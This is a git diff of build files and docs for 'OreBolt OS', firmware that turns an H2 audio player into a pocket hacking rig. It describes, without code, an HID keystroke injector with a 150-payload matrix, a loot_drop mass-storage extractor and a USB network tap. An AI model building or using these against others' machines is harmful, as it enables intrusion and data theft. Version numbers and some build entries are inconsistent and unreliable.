2026-07-14 + +### The "Implementations Restored" Release + +v1.4 shipped 18 module slots with zero functional code -- every module was +a build-linkable stub that displayed a label and logged init/deinit. v1.5 +restores all 12 original module implementations from the v1.3 upstream +source set, adapted to the v1.4 build infrastructure and header API. + +### Fixed + +- **emulator_input_mapper build target no longer links against LVGL.** + v1.4's `Makefile.h2-core-v6.1` compiled the mapper stub with + `-llvgl`, which would break the real standalone uinput daemon. + v1.5's `Makefile.h2-core-v6.2` builds the mapper with zero LVGL + flags or libraries -- it is a pure uinput daemon. +- **main.c restored to fork/exec launcher model.** v1.4's main.c + ran a single monolithic LVGL event loop with all modules as stub + callbacks. v1.5 restores the v1.3 fork/exec broker: the launcher + shows the module menu, fork+execs the selected .mod binary, and + waitpid() blocks until the child exits. Each module binary + initializes its own LVGL instance and runs its own event loop. +- **h2_ui.h merges v1.3 and v1.4 APIs.** Provides both the + `init_h2_graphics_runtime()` inline bootstrap (for standalone + .mod binaries) and the `h2_module_t` registration API (for + the launcher menu). Also defines H2 input event code constants + (H2_KEY_PLAY, H2_KEY_BACK, etc.) used uniformly across all modules. +- **log_manager.h merges v1.3 and v1.4 logging.** Provides both the + v1.4 structured log level interface (LOG_INF/DBG/ERR macros, + log_init/log_write/log_close) and the v1.3 flash-safe timed + coalescer (timed_log_init/timed_log_write/timed_log_flush_to_media) + with 64KB RAM buffer and configurable windowed disk flush. +- **S99broker OREBOLT_VERSION fixed to 1.5** (was still "1.4"). + +### Changed + +- **Module count in Makefile: 18 .mod binaries + 1 standalone daemon.** + v1.4's Makefile listed 18 entries including emulator_input_mapper + as an LVGL module. v1.5 lists 18 .mod entries (rfid/wifi/glitch/ + pwdb/bitchat remain stubs) plus a separate `mapper` target that + builds the standalone daemon without LVGL. +- **Sub-Makefile bumped: Makefile.h2-core-v6.1 -> Makefile.h2-core-v6.2, + Makefile.orebolt-v1.4 -> Makefile.orebolt-v1.5.** +- **Master Makefile updated** to reference v6.2 and v1.5 sub-makefiles. +- **radar module now links against -lbluetooth** for BlueZ HCI calls. +- **All restored modules use H2_KEY_BACK/H2_KEY_PLAY constants** instead + of hardcoded key codes (158/164), and include LOG_INF/LOG_ERR calls. +- **vault upgraded to full PIN auth module.** The original v1.3/v1.5 + entropy-only display has been replaced with the complete Master + Manifest vault implementation: 4-digit PIN entry with rotary + encoder, non-volatile failure tracking, 300s lockout penalty, + and dual wired/wireless identity modes with automatic USB/BLE + state enforcement based on cable detection. +- **studio upgraded to UAC2 Mixer Console.** The original v1.3/v1.5 + frequency analyzer has been replaced with the complete Master + Manifest studio implementation: 4-channel mixer (GAME/DISCORD/ + MIC/MUSIC) with per-channel volume bars, USB Consumer Control + HID commands via /dev/hidg1 (vol up/down/mute), NEXT/PREV key + channel switching, and hardware mute toggle with visual feedback. +- **S99broker now sets system volumes to maximum on boot** via + `amixer sset 'Master' 100% unmute` and `amixer sset 'Headphone' + 100% unmute`, matching the Master Manifest boot sequence. + +### Added + +- **13 fully functional module implementations restored from v1.3 + and Master Manifest:** + - **vault** -- Crypto Security Token Vault Gateway. Full PIN + authentication system (default 4-2-9-1) with rotary digit entry, + non-volatile failure tracking via /data/vault/failures.dat, + 3-attempt lockout with 300s penalty countdown. Dual identity + modes: WIRED (USB composite gadget via enable_vault_usb.sh) and + WIRELESS BLE (via enable_vault_ble.sh) with automatic switching + based on USB cable detection. RAM key purge on BACK exit. + - **nettaps** -- USB Virtual Network Tap. Selectable time-window + coalescer (30s/1m/2m/5m/10m), raw AF_PACKET capture on usb0, + IP packet parsing, live LVGL console, flash-safe timed disk flush. + - **scalpel** -- Acoustic Scalpel Live Sound Synthesizer. NEW + module from Master Manifest (Asset V). POSIX-threaded audio + synthesis writing to /dev/dsp at 44.1kHz. SINE and SQUARE + waveforms with real-time frequency tuning (20 Hz - 20 kHz) + via rotary encoder in 10 Hz steps. PLAY toggles waveform. + - **deploy** -- Flash Storage Manager. statvfs("/") display of + total/used/free MB with percentage, manual sync() via PLAY button. + - **studio** -- Studio Audio Class 2.0 Streaming Control Console. + 4-channel mixer (GAME/DISCORD/MIC/MUSIC) with per-channel + volume bars, NEXT/PREV key channel switching, PLAY toggles + hardware mute. Sends USB Consumer Control HID commands + (volume up/down/mute) to host via /dev/hidg1. DAC link + status display (PCM 24-bit / 192 kHz). + - **probe** -- I2C Bus Hardware Scanner. Probes /dev/i2c-0 address + space 0x03-0x77, displays responding devices with green highlighting. + - **vterm** -- FreeDOS Emulation Bridge. fork+exec dosbox with custom + config, SIGTERM cleanup on BACK key, waitpid(WNOHANG) monitoring. + - **radar** -- BLE Device Radar Scanner. BlueZ HCI inquiry with RSSI + (primary) or standard inquiry (fallback), 19-cell hexagonal heatmap + grid, 3-tier RSSI color coding, auto-repeating scan loop. + - **pauto** -- Payload Automation (HID Keystroke Injector). Full + OreBolt macro command language parser (DELAY, STRING, REM, + modifier+key combos), USB HID keycode table (a-z, A-Z, 0-9, + punctuation, F1-F12), rotary-scrollable payload picker, 8-byte + report via /dev/hidg0. + - **extract** -- Mass Storage Extractor. Recursive copy from + /mnt/target_media to /data/loot_drop/extracted/, skips symlinks, + 4KB chunk copy, displays file/dir/byte counts. + - **noise** -- USB Hardware TRNG Stream. Generates 32-byte true + entropy blocks via getrandom(GRND_RANDOM), pipes to host over + CDC ACM serial (/dev/ttyGS0) at 100Hz. + - **reset** -- System Stack Purge/Reset. 3-state machine + (CONFIRM->RUNNING->DONE), kills dosbox, brings usb0 down, + deletes /data/loot_drop contents, calls sync(). + - **emulate** -- Universal Retro Game Launcher. 17-type ROM + database (NES/FDS/SNES/GB/GBC/GBA/Genesis/SMS/GameGear/PCE/ + Atari2600/NeoGeoP), recursive /data/roms/ scan, 13-system filter + with rapid-rotate cycling, fork+exec emulator launch, BACK kills + child with SIGTERM. +- **emulator_input_mapper standalone daemon** -- fully integrated + from addon-emulator-1.0 (no longer a separate addon package). + Full 456-line uinput gamepad translator: rotary encoder to d-pad + (V-mode/H-mode toggle, 3s auto-revert), PLAY/BACK to A/B (short) + and START/SELECT (long 1.5s), PREV/NEXT to L/R shoulders, combo + buttons for X/Y. Creates "H2 Virtual Gamepad" via /dev/uinput. + Now built with -fstack-protector-strong -D_FORTIFY_SOURCE=2. +- **S98emulator-input init script upgraded** from addon-emulator-1.0. + Replaces the minimal start-stop-daemon wrapper with full PID tracking, + daemon existence checks, graceful TERM→KILL escalation (2s timeout), + stale pidfile detection, and `status` command. +- **ROM directory structure** created in overlay/data/roms/ for 11 + systems: nes, snes, gb, gbc, gba, genesis, sms, gg, pce, atari2600, + ngp. Directories are created both at build time (makefile rom-dirs + target) and shipped in the overlay tree. +- **overlay/data/bt_config/paired_macs.txt** -- Trusted accessory MAC + allow-list for bt_input_daemon.sh autoconnect. +- **overlay/data/chat_config/macros.txt** -- 10 pre-defined BitChat + mesh command templates (STATUS/ALERT/CMD/TEST/PANIC types). + +### Still Stubs (5 modules) + +The following modules added in v1.4 remain as stubs pending real +hardware implementations: + +- **rfid** -- RFID reader (no hardware spec yet) +- **wifi** -- WiFi management (no driver support yet) +- **glitch** -- Glitch/fault injection (hardware-dependent) +- **pwdb** -- Password database (design phase) +- **bitchat** -- Mesh frontend (liborebolt.a has mod_bitchat_mesh.c + with bloom filter, but the .mod UI stub needs real BLE mesh code) + +## [v1.4] -- 2026-07-13 + +### Rebrand: "Project Orebolt" -> "OreBolt OS" + +The project has been rebranded from "Project Orebolt" to **OreBolt OS**. +The v1.4 release is a build-and-licensing cleanup pass. All 18 module +.c files are build-linkable stubs. See the full v1.4 changelog for +details on the SoC correction, SHA256SUMS fix, and AGPL licensing. + +## [v1.3] -- 2026-07-13 (pre-cleanup) + +Initial public drop. Shipped the overlay tree and all 12 module +implementations as standalone fork/exec binaries. Targeted the wrong +SoC (T31 instead of X1000E). See v1.4 changelog for cleanup details. \ No newline at end of file diff --git a/HEADERS.md b/HEADERS.md new file mode 100755 index 0000000..cf2d764 --- /dev/null +++ b/HEADERS.md @@ -0,0 +1,211 @@ +# OreBolt OS -- Kernel Headers Sourcing Strategy + +> **TL;DR** -- vendor the **FiiO M3K GPL kernel tree** (Linux 3.10.14, +> Ingenic BSP) as the canonical headers source for the H2. Same SoC +> (X1000E), GPL-compatible, ships the exact uapi headers OreBolt OS needs. +> Use the **Ingenic XBurst BSP** as a fallback for any header FiiO +> stripped. Rockbox is **optional, bare-metal only** -- it is not a +> header set on top of Linux and the original workflow of "mine Rockbox for +> register definitions" was wrong for our Linux build path. + +--- + +## 1. Background + +v1.3 targeted the wrong SoC (T31 / X2000) and asked the operator to +"clone Rockbox for reference and hand-write register definitions" because +Rockbox's headers are GPL and the original workflow assumed a proprietary +codebase. That workflow was: + +- **Wrong target.** The H2 and its siblings (Surfans F20, Aigo Eros Q, + Phinistec Z6, Agptek H3) all use the **Ingenic X1000E** (JZ4760 + family) -- not the T31. See `/upload/h2-and-related-devices.text` + line 53: "you are working with the Ingenic X1000 or X1000E SoC, which + is a MIPS32 architecture." +- **Wrong tool.** Rockbox is a **bare-metal OS replacement**, not a + header set you mine for register definitions on top of a Linux build. + v1.3 ships init.d scripts, ConfigFS USB gadget setup, `/usr/bin` + daemons, and `/data/payloads` -- that is a Linux userspace, not a + bare-metal environment. +- **Painful workflow.** Hand-writing register definitions from a GPL + reference is error-prone and easy to get wrong. The FiiO M3K GPL + kernel tree ships those exact definitions, GPL-licensed, ready to + `#include` -- no reverse engineering needed. + +OreBolt OS corrects this by vendoring the FiiO M3K tree as the canonical +headers source. + +## 2. The FiiO M3K GPL kernel tree (primary) + +The FiiO M3K is a DAP that uses the **exact same Ingenic X1000E SoC as +the H2**. FiiO released their Linux kernel source under GPL. Because +the SoC is identical, the X1000E register definitions, GPIO mux tables, +clock tree headers, LCD controller register layouts, and DMA descriptor +formats in the FiiO tree are bit-for-bit applicable to the H2. + +### 2.1 Where to get it + +GitHub mirrors of the FiiO M3K kernel source are maintained by the DAP +hacking community. Common search terms: + +``` +github.com FiiO_M3K_Kernel_Source +github.com fiio m3k linux +``` + +Alternatively, FiiO publishes GPL source bundles as `.tar.gz` on their +official download page -- check `fiio.com` under Support -> M3K -> +Firmware, where the GPL source is usually linked alongside the binary +firmware. + +### 2.2 Install it + +```bash +# Clone (or extract the tarball) to /opt/fiio-m3k-linux +sudo mkdir -p /opt/fiio-m3k-linux +# Either: +git clone --depth 1 /opt/fiio-m3k-linux +# Or: +sudo tar xzf fiio_m3k_kernel_*.tar.gz -C /opt/fiio-m3k-linux --strip-components=1 + +# Verify +ls /opt/fiio-m3k-linux/include/uapi/linux/kernel.h +ls /opt/fiio-m3k-linux/arch/mips/include/asm/mach-jz4760/jz4760.h +``` + +### 2.3 What OreBolt OS uses from it + +The Makefiles add the following `-I` paths to every cross-compile: + +| Include path | What it provides | +|---|---| +| `$(KERNEL_HEADERS)/include/uapi` | Linux userspace API headers (``, ``, ``, etc.) -- the clean, GPL-2.0-with-syscall-exception set | +| `$(KERNEL_HEADERS)/include` | Kernel-internal headers used by some driver shim layers (rarely needed, but kept for completeness) | +| `$(KERNEL_HEADERS)/arch/mips/include` | MIPS-architecture headers (``, ``, ``) | +| `$(KERNEL_HEADERS)/arch/mips/include/asm/mach-jz4760` | **X1000E SoC headers** -- `` (SoC register definitions), `` (GPIO mux tables), `` (clock generation unit), `` (DMA descriptor format) | + +### 2.4 GPL compliance + +The FiiO M3K kernel tree is GPL-2.0. OreBolt OS's hardware library +(`liborebolt.a` and `src/modules/*.c`) is also GPL-2.0-or-later, so +`#include`-ing FiiO's headers is a clean GPL-to-GPL link. No license +boundary issue. + +**Important**: do NOT copy FiiO's `.c` driver files verbatim into +OreBolt OS unless you are prepared to GPL-2.0-only those files (or track +the upstream so changes propagate). The headers are sufficient for +register-level access; full driver code brings more obligations than we +need. + +## 3. Ingenic XBurst BSP (fallback) + +If a header you need is missing from the FiiO tree (FiiO sometimes +strips headers for peripherals the M3K does not expose), the raw +Ingenic XBurst BSP is the next stop. Two known community mirrors: + +- `YuanhuanLiang/X1000` -- X1000 SDK dump +- `acbits/kernel-xburst-bsp` -- broader XBurst BSP, useful for JZ47xx family + +These are raw SDK dumps from Ingenic, including the `kernel/` directory +with the 3.10.14 base. They are noisier than the FiiO tree (more vendor +churn, less cleanup) but more complete. + +### 3.1 When to use the BSP instead of FiiO + +- A header FiiO references is missing (e.g., FiiO's M3K does not expose + NAND, so they may have stripped ``). +- You need a register definition that postdates the FiiO release (rare; + the X1000E is end-of-life from Ingenic). +- You are debugging a peripheral the M3K does not have but the H2 does + (e.g., the H2's Bluetooth chipset). + +### 3.2 How to switch + +Override `KERNEL_HEADERS` at build time: + +```bash +export KERNEL_HEADERS=/opt/xburst-bsp/kernel +./build.sh +``` + +The build system accepts any path that contains +`include/uapi/linux/kernel.h` -- the `headers-check` target in the +master Makefile verifies this. + +## 4. Rockbox (OPTIONAL, bare-metal only) + +v1.3 listed Rockbox as the primary header reference. OreBolt OS demotes it to +optional and explicitly scopes it to the bare-metal build path -- which +OreBolt OS does not currently use, but a future "OreBolt OS Native" port might. + +### 4.1 What Rockbox is actually good for + +Rockbox is a **complete OS replacement** for the H2 and its siblings. +When you boot Rockbox on these devices, Rockbox IS the operating system +-- it does not run on top of Linux. This makes it useless as a header +source for a Linux userspace build, but extremely useful if you ever +decide to: + +- Replace the H2's stock Linux firmware entirely with Rockbox + OreBolt OS + native code (no kernel, no init system, just Rockbox acting as the + OS). +- Cross-reference a register definition whose semantics are unclear from + the C struct alone (Rockbox's driver code shows how the register is + actually programmed, in real working code). + +### 4.2 What Rockbox is NOT good for + +- **Mining headers for use in a Linux userspace build.** Rockbox's + headers are bare-metal -- they define register addresses as physical + memory locations and access them via direct pointer dereference. In + a Linux userspace build, you access the same registers via `/dev/mem` + or kernel drivers, not by including Rockbox's headers. +- **Copy-pasting GPL code into a proprietary project.** Rockbox is + GPL-2.0; you cannot verbatim-copy its driver code into OreBolt OS + modules that are not GPL. + +### 4.3 If you still want Rockbox for reference + +```bash +git clone --depth 1 https://github.com/Rockbox/rockbox.git /opt/rockbox-ref +``` + +The relevant tree for the H2 is `firmware/target/mips/ingenic/jz4760/` +(the closest public match to the X1000E). Use it only as a semantic +reference for register behavior -- do not include its headers in the +OreBolt OS build path. + +## 5. Decision matrix + +| Build target | Headers source | Rockbox role | +|---|---|---| +| OreBolt OS on stock H2 Linux firmware (current path) | **FiiO M3K GPL kernel** | None | +| OreBolt OS on a custom Buildroot Linux rootfs for H2 | **FiiO M3K GPL kernel** | None | +| OreBolt OS bare-metal on H2 (future "Native" port) | Rockbox `jz4760/` headers, FiiO headers as cross-reference | Primary | +| Any build needing a stripped header | **Ingenic XBurst BSP** as fallback | None | + +## 6. Verification + +Run `make headers-check` after setting `KERNEL_HEADERS` to verify the +tree is correctly installed: + +```bash +make headers-check KERNEL_HEADERS=/opt/fiio-m3k-linux +# Expected: +# [OK] kernel headers root: /opt/fiio-m3k-linux +``` + +The check verifies: +- The path exists. +- `include/uapi/linux/kernel.h` exists (i.e., this is a Linux kernel tree). +- Warns (does not fail) if `arch/mips/include/asm/mach-jz4760/jz4760.h` + is missing -- this is the JZ4760 SoC header. If you are using the + XBurst BSP, the path may differ; in that case, the build will fail + later when it tries to `#include` a missing header, and you can + investigate from there. + +## 7. Historical PREREQUISITES.md delta + +The v1.3 PREREQUISITES.md section on "Rockbox Headers for Ingenic T31" is +**replaced** by this file. The current PREREQUISITES.md points +operators here instead of reproducing the Rockbox workflow. diff --git a/LICENSE.md b/LICENSE.md new file mode 100755 index 0000000..93bdeb1 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,178 @@ +# OreBolt OS v1.7 -- Multi-Tier Licensing Strategy + +> **TL;DR** -- bitchat mesh module is **AGPL-3.0-only**. Everything else in +> OreBolt OS is **GPL-2.0-or-later**. LVGL/lv_drivers stay **MIT** (upstream). +> The AGPL boundary is a single .mod binary; it does **not** virally relicense +> the rest of OreBolt OS because the rest of OreBolt OS is not a derivative work of +> bitchat. See §4 for the boundary analysis. + +--- + +## 1. Why AGPL for the bitchat layer + +The bitchat mesh layer is the only OreBolt OS component that runs as a +**networked service** -- every other module is a local LVGL UI panel that +talks to hardware through `/dev` or GPIO. When a bitchat node forwards a +message to another node, every operator downstream of that node is +"interacting with the software over a network" within the meaning of +AGPL v3 §13. Pure GPL would not require source disclosure for that kind of +network-only interaction; AGPL does. + +This matters because the whole point of the bitchat layer is to let H2 +devices form a mesh that survives the loss of any single node. If an +operator forks bitchat, hardens it, and runs the hardened version on their +node, every other mesh participant is effectively trusting that hardened +binary without being able to inspect it. AGPL v3 §13 closes that loophole +by requiring the operator to make their modified source available to anyone +who interacts with their node over the mesh, via the "Written Offer" +mechanism in §13(d). + +AGPL v3 §6 (User Product) is the second reason this license fits the H2. +Section 6 requires that anyone distributing a "User Product" (consumer +device) running AGPL software must allow the user to install modified +versions of that software. This blocks **tivoization** -- the practice of +shipping GPL/AGPL software on locked-down hardware that refuses to run +user-modified builds. For a "hackable pocket rig" like the H2, that is +exactly the property we want: the user owns the device they carry, and the +firmware cannot lock them out of their own hardware. + +## 2. License matrix + +| Component | License | SPDX | Files | +|---|---|---|---| +| LVGL v8.3.11 (upstream) | MIT | `MIT` | `lvgl/**` (cloned at build time) | +| lv_drivers v8.3.0 (upstream) | MIT | `MIT` | `lv_drivers/**` (cloned at build time) | +| liblvgl.so (shared) | MIT | `MIT` | `overlay/usr/lib/liblvgl.so` | +| h2_test (launcher) | GPL-2.0+ | `GPL-2.0-or-later` | `overlay/usr/bin/h2_test`, `main.c` | +| retro_input_mapper | GPL-2.0+ | `GPL-2.0-or-later` | `overlay/usr/bin/retro_input_mapper` | +| liborebolt.a (static hw lib) | GPL-2.0+ | `GPL-2.0-or-later` | `liborebolt.a`, `src/modules/*.c` | +| 17 userland modules | GPL-2.0+ | `GPL-2.0-or-later` | `modules/orebolt-{vault,nettaps,...,proxalarm}/*.c`, `overlay/apps/*.mod` | +| **bitchat mesh module** | **AGPL-3.0-only** | **`AGPL-3.0-only`** | `modules/orebolt-bitchat/bitchat.c`, `src/modules/mod_bitchat_mesh.c`, `overlay/apps/bitchat.mod` | +| Init scripts | GPL-2.0+ | `GPL-2.0-or-later` | `overlay/etc/init.d/*` | +| Documentation | CC-BY-4.0 | `CC-BY-4.0` | `*.md`, `*.txt` | + +## 3. The AGPL boundary -- what is and is not covered + +The AGPL v3 §13 "Modified Corresponding Source" obligation extends to: +- the bitchat module source (`mod_bitchat_mesh.c` and `modules/orebolt-bitchat/bitchat.c`) +- any modifications an operator makes to those files +- the corresponding source for any libraries bitchat links against **that + are themselves AGPL** (none, in our case -- it links against MIT LVGL and + GPL-2.0+ liborebolt.a) + +The AGPL obligation does **not** extend to: +- The other 17 userland modules (vault, pauto, etc.) -- they are separate + programs that happen to share a launcher and a UI library. They are not + derivative works of bitchat. +- `liborebolt.a` -- bitchat links TO liborebolt.a, not the other way around. + A library that is linked against is not automatically a derivative work + of every program that links against it. See FSF FAQ on aggregate vs. + derivative works. +- `liblvgl.so` -- MIT, so AGPL's viral clause has nothing to grab onto. +- The H2 hardware itself -- software licenses do not license hardware. The + AGPL §6 User Product clause governs how the software may be installed on + the hardware, but does not place restrictions on the hardware design. + +## 4. Operator obligations when modifying bitchat + +If you modify `mod_bitchat_mesh.c` or `bitchat.c` and run the modified +version on an H2 that other operators interact with over the mesh, you +must, under AGPL v3 §13(d): + +1. Make the modified source code available via a Written Offer, valid for + at least three years, to any operator who interacts with your node. +2. The Written Offer must specify a reasonable cost for physically + transmitting the source (no more than the actual cost). +3. The source must include the corresponding source of all libraries + bitchat links against that are themselves AGPL-licensed (in our case, + none beyond bitchat itself). + +The build embeds `BITCHAT_SOURCE_URL` (defined in `mod_bitchat_mesh.c`) in +every `bitchat.mod` binary. Every mesh HELLO message advertises this URL +to peers via the `BITCHAT_MSG_LICENSE` message type -- so operators +downstream of a modified node are automatically informed of their source +rights. **Before shipping, replace the placeholder +`https://example.invalid/orebolt-bitchat-src` with the actual Written +Offer URL.** + +## 5. Why not AGPL the whole stack? + +Three reasons: + +1. **Anti-tivoization is already covered by GPL-2.0+ for the other 17 + modules.** GPL v2 §3(c) and GPL v3 §6 already require installable + source for User Products. AGPL's §6 is functionally identical to GPL + v3 §6 -- the only thing AGPL adds is §13 (the network-interaction + clause), which only matters for components that interact over a + network. Only bitchat does that. + +2. **AGPL §13 would actually hurt the other modules' adoption.** If + vault.mod were AGPL, anyone who set up a vault "service" (e.g. a + network endpoint that returns credentials on authenticated request) + would have to disclose their modifications. That is not the threat + model for vault -- vault's threat model is "the device falls into the + wrong hands" (handled by panic_purge), not "someone operates a forked + vault server." + +3. **Clean module boundaries are a feature, not a bug.** By isolating + the AGPL boundary to a single .mod binary, we make it trivial for an + operator to know exactly what they need to share source for. If + everything were AGPL, every operator would need to share source for + every modification, and the friction would discourage legitimate + device customization. + +## 6. Practical compliance checklist + +Before deploying a modified H2 with bitchat: + +- [ ] Replaced `BITCHAT_SOURCE_URL` placeholder with a real URL pointing + to your modified bitchat source (tarball, git repo, or Written + Offer page). +- [ ] The URL is reachable from the mesh (or you have a Written Offer + ready for physical media delivery). +- [ ] The URL stays valid for at least 3 years from first deployment. +- [ ] You bumped `BITCHAT_PROTOCOL_VERSION` if you changed the wire + format (so unmodified nodes can refuse to interoperate cleanly + rather than silently misbehaving). +- [ ] `make core` succeeds and `build.sh` Phase 7 verifies that + `bitchat.mod` carries the `AGPL_BITCHAT` marker. +- [ ] The H2 firmware allows installing a modified `bitchat.mod` (i.e., + the device is not tivoized against AGPL §6). + +## 8. BitChat Naming: Nominative Fair Use + +The `bitchat` module is an **independent C implementation** of the BitChat +decentralized mesh protocol. It is not affiliated with, sponsored by, or +endorsed by Permissionless Tech, LLC or the original creators of BitChat. + +The name "bitchat" is used under **nominative fair use** -- it describes +what protocol the module implements, not an attempt to imply sponsorship +or endorsement. The module directory (`orebolt-bitchat/`) and the +OreBolt OS project name provide clear branding distinction from any +official BitChat product. + +No official BitChat logos, icons, or visual assets are used. The +wire protocol (`BITCHAT_MSG_*` message types) is implemented from the +open-access BitChat protocol whitepaper and the permissively-licensed +open-source client reference implementations (iOS: Unlicense/Public +Domain; Android: MIT License). + +This naming convention is consistent with industry practice for +third-party protocol libraries (e.g., `libbitchat`, `bitchat-c`, +`bitchat-sys` in Rust). + +## 9. If you want to relicense the whole stack + +If a future version of OreBolt OS decides to put everything under AGPL, the +only blockers are: + +1. Any GPL-2.0-only code (we deliberately used GPL-2.0-or-later to permit + this upgrade path). +2. Any contributor who has not signed off on the upgrade -- you need + their consent or you need to rip their code. A `DCO` (Developer + Certificate of Origin) sign-off at contribution time makes this + tractable. + +LVGL being MIT means there is no upstream-license blocker. The bitchat +module is already AGPL-3.0-only, which is one-way (you cannot downgrade +to GPL). Plan accordingly. diff --git a/Makefile b/Makefile new file mode 100755 index 0000000..89e73d8 --- /dev/null +++ b/Makefile @@ -0,0 +1,111 @@ +# ============================================================================== +# OREBOLT OS -- UNIFIED MASTER BUILD ORCHESTRATOR (v1.7) +# ============================================================================== +# +# Target: HiFiWalker H2 (Ingenic X1000E / JZ4760 family, MIPS32r2, +# little-endian, hard-float, mipsel-linux-musl) +# Host: Arch Linux (x86_64) with mipsel-linux-musl cross-compiler +# +# v1.7 CHANGES (see CHANGELOG.md for full diff): +# * 17 .mod binaries + 1 standalone mapper daemon (unchanged). +# * retro.mod is the retro game launcher. +# * retro_input_mapper is the uinput gamepad daemon. +# * Makefile.h2-core-v6.2 -> v6.5. +# +# Sub-builds: +# +# 1. H2 Core Platform v6.5 (Makefile.h2-core-v6.2, filename unchanged) +# - LVGL v8.3.11 as liblvgl.so (shared library, ~200 KB) +# - 17 module .mod binaries in overlay/apps/ +# - Master broker (main.c) with fork/exec launcher +# - Integrated retro_input_mapper daemon (NO LVGL, hardened build) +# - ROM directory structure (11 systems in overlay/data/roms/) +# - Output: overlay/usr/lib/liblvgl.so, overlay/usr/bin/h2_test, +# overlay/apps/*.mod, overlay/usr/bin/retro_input_mapper +# +# 2. OreBolt OS v1.7 (Makefile.orebolt-v1.5) +# - src/modules/*.c -> liborebolt.a (static archive) +# - 150-payload HID macro matrix via inject_payloads.sh +# - bitchat mesh module compiled with -DAGPL_BITCHAT +# +# ============================================================================== + +H2_CORE_MAKEFILE := Makefile.h2-core-v6.2 +OREBOLT_MAKEFILE := Makefile.orebolt-v1.5 + +KERNEL_HEADERS ?= /opt/fiio-m3k-linux + +.PHONY: all core orebolt payloads clean validate_env help headers-check + +all: validate_env headers-check core orebolt + @echo "======================================================================" + @echo "[OK] OREBOLT OS v1.7 FULLY BUILT" + @echo " Target SoC: Ingenic X1000E (JZ4760 family, MIPS32r2 mipsel)" + @echo " Headers: $(KERNEL_HEADERS)" + @echo " LVGL shared: overlay/usr/lib/liblvgl.so" + @echo " Launcher: overlay/usr/bin/h2_test (fork/exec broker)" + @echo " Mapper: overlay/usr/bin/retro_input_mapper (integrated, hardened)" + @echo " ROM dirs: overlay/data/roms/{nes,snes,gb,...,ngp} (11 systems)" + @echo " Modules: overlay/apps/*.mod (17 modules)" + @echo " HW archive: liborebolt.a" + @echo " Payloads: overlay/data/payloads/{linux,macos,windows}/" + @echo " Licensing: see LICENSE.md (bitchat = AGPL-3.0-only)" + @echo "======================================================================" + +validate_env: + @if [ "$$(basename $$(pwd))" != "h2-workspace" ]; then \ + echo "[-] CRITICAL: build must run inside h2-workspace/"; \ + exit 1; \ + fi + +headers-check: validate_env + @if [ ! -d "$(KERNEL_HEADERS)" ]; then \ + echo "[-] CRITICAL: KERNEL_HEADERS not found at $(KERNEL_HEADERS)"; \ + echo " Clone the FiiO M3K GPL kernel tree (see HEADERS.md):"; \ + echo " git clone --depth 1 https://github.com/..."; \ + echo " $(KERNEL_HEADERS)"; \ + exit 1; \ + fi + @if [ ! -f "$(KERNEL_HEADERS)/include/uapi/linux/kernel.h" ]; then \ + echo "[-] $(KERNEL_HEADERS) does not look like a Linux kernel tree"; \ + exit 1; \ + fi + @echo "[OK] kernel headers root: $(KERNEL_HEADERS)" + +core: validate_env + @echo ">>> Building H2 Core Platform v6.5 (shared LVGL + 17 modules)..." + $(MAKE) -f $(H2_CORE_MAKEFILE) all KERNEL_HEADERS=$(KERNEL_HEADERS) + +orebolt: validate_env + @echo ">>> Building OreBolt OS v1.7 (liborebolt.a + payloads)..." + $(MAKE) -f $(OREBOLT_MAKEFILE) all HARDWARE_GPIO=$(HARDWARE_GPIO) \ + KERNEL_HEADERS=$(KERNEL_HEADERS) + +payloads: validate_env + @echo ">>> Regenerating 150-payload HID matrix only..." + @chmod +x inject_payloads.sh + @./inject_payloads.sh + +clean: + -$(MAKE) -f $(H2_CORE_MAKEFILE) clean + -$(MAKE) -f $(OREBOLT_MAKEFILE) clean HARDWARE_GPIO=$(HARDWARE_GPIO) + +help: + @echo "OREBOLT OS v1.7 MASTER BUILD" + @echo "" + @echo "Target SoC: Ingenic X1000E (JZ4760 family, MIPS32r2 mipsel-linux-musl)" + @echo "Headers: FiiO M3K GPL kernel tree ($(KERNEL_HEADERS))" + @echo "" + @echo "Targets:" + @echo " all Build everything (default)" + @echo " headers-check Verify kernel headers tree before build" + @echo " core Build LVGL shared lib + launcher + 17 modules + mapper" + @echo " orebolt Build liborebolt.a + payload matrix" + @echo " payloads Regenerate 150-payload HID macro matrix only" + @echo " clean Remove all build artifacts" + @echo " help This message" + @echo "" + @echo "Environment:" + @echo " KERNEL_HEADERS Path to FiiO M3K GPL kernel tree (default: /opt/fiio-m3k-linux)" + @echo " HARDWARE_GPIO Set to 1 to compile real GPIO panic-purge path" + @echo " CROSS_COMPILE Toolchain prefix (default: mipsel-linux-musl-)" \ No newline at end of file diff --git a/Makefile.h2-core-v6.2 b/Makefile.h2-core-v6.2 new file mode 100755 index 0000000..2537967 --- /dev/null +++ b/Makefile.h2-core-v6.2 @@ -0,0 +1,135 @@ +# ============================================================================== +# H2 CORE PLATFORM v6.5 -- LVGL + 17 OreBolt OS Modules +# ============================================================================== +# v1.7 changes from v6.2: +# * 17 .mod binaries + 1 standalone mapper daemon. +# * proxalarm handles all proximity sensing (bledsp, proxvec, radar_ui). +# * retro.mod is the retro game launcher. +# * retro_input_mapper is a standalone uinput gamepad daemon (no LVGL). +# * bledsp_poll_wifi() stub ready for future nl80211 integration. +# * Only proxalarm needs -lbluetooth. +# ============================================================================== + +CROSS ?= mipsel-linux-musl- +CC := $(CROSS)gcc +STRIP := $(CROSS)strip +AR := $(CROSS)ar +RANLIB := $(CROSS)ranlib + +ARCHFLAGS := -march=mips32r2 -mhard-float -Os -fPIC -fno-strict-aliasing \ + -fno-common -Wall -Wextra -Wno-unused-parameter + +KERNEL_HEADERS ?= /opt/fiio-m3k-linux + +INCLUDES := -Iinclude \ + -I$(KERNEL_HEADERS)/include/uapi \ + -I$(KERNEL_HEADERS)/include \ + -I$(KERNEL_HEADERS)/arch/mips/include \ + -I$(KERNEL_HEADERS)/arch/mips/include/asm/mach-jz4760 \ + -Ilvgl -Ilvgl/src -Ilv_drivers + +CFLAGS := $(ARCHFLAGS) $(INCLUDES) -DLV_CONF_INCLUDE_SIMPLE=1 \ + -DLV_LVGL_H_INCLUDE_SIMPLE=1 +LDFLAGS := -Loverlay/usr/lib -Wl,-rpath,/usr/lib +LDLIBS := -llvgl -lm -ldl -lpthread + +# Extra libs for specific modules +LDLIBS_BLUETOOTH := -lbluetooth + +# v1.7: 17 module .mod binaries (all have main() + own LVGL init) +MODULES := \ + vault:modules/orebolt-vault/vault.c \ + nettaps:modules/orebolt-nettap/scalpel.c \ + scalpel:modules/orebolt-scalpel/scalpel.c \ + deploy:modules/orebolt-deploy/deploy.c \ + 